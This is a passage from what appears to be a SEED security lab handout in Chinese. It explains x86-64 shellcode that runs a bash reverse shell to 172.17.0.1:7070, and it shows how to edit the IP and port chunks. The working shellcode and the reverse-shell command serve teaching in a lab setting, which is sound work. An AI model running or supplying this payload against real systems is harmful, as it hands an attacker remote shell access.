
反向 shell 命令的 shellcode 如下所示（它也包含在提供的代码中）。如果学生有兴趣学习如何从头开始编写这样的 shellcode，他们可以参考另一个 SEED 实验，《Shellcode 开发实验》。

\begin{lstlisting}
# Execute "/bin/bash -i >/dev/tcp/172.17.0.1/7070 0<&1 2>&1"
rev_shell= (
   "\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x50\x48"
   "\xb8\x2f\x2f\x2f\x2f\x2f\x62\x69\x6e\x50\x48\x89\xe3\x48\x31\xc0"
   "\x50\x48\xb8\x2d\x63\x63\x63\x63\x63\x63\x63\x50\x48\x89\xe1\x48"
   "\x31\xc0\x50\x48"
   ####################################
   "\xb8" "    2>&1" "\x50\x48"   (*@\ding{108}@*)
   "\xb8" "    0<&1" "\x50\x48"
   "\xb8" "        " "\x50\x48"
   "\xb8" "0.1/7070" "\x50\x48"   (*@\ding{109}@*)
   "\xb8" "/172.17." "\x50\x48"   (*@\ding{109}@*)
   "\xb8" "/dev/tcp" "\x50\x48"
   "\xb8" "h -i >  " "\x50\x48"
   "\xb8" "/bin/bas" "\x50\x48"   (*@\ding{108}@*)
   ####################################
   "\x89\xe2\x48\x31\xc0\x50\x52\x51\x53\x48\x89\xe6\x48\x89\xdf"
   "\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')
\end{lstlisting}

两个 \ding{108} 标记之间的行的目的是将反向 shell 命令推送到堆栈中。命令字符串被分成几部分，每部分正好有 8 个字节。然后以相反的顺序将它们放到堆栈中（因为堆栈是从高地址向低地址增长）。每行代码都执行相同的操作：将 8 字节数字保存 (\textbackslash\texttt{xb8}) 到 \texttt{rax} 寄存器，然后将 (\textbackslash\texttt{x50}\textbackslash\texttt{x48}) 此寄存器的值放到堆栈中。运行这些指令行后，以下反向 shell 命令将被存储在堆栈中。

\begin{lstlisting}
/bin/bash -i >/dev/tcp/172.17.0.1/7070 0<&1 2>&1
\end{lstlisting}

反向 shell 命令的 IP 地址和端口号部分位于标有 \ding{109} 的行中。
如果您的服务器有不同的 IP 地址和/或端口号，则需要修改这些行。您需要确保
每行字符串正好为 8 个字节。如果您的字符串较短，
您可以用额外的空格来填充。如果您的字符串较长，您可以创建新的一行。
例如，如果您的 IP 地址是 \texttt{172.17.30.153}，您可以这样做：

\begin{lstlisting}
   "\xb8" "070     " "\x50\x48"
   "\xb8" "30.153/7" "\x50\x48"
   "\xb8" "/172.17." "\x50\x48"
\end{lstlisting}

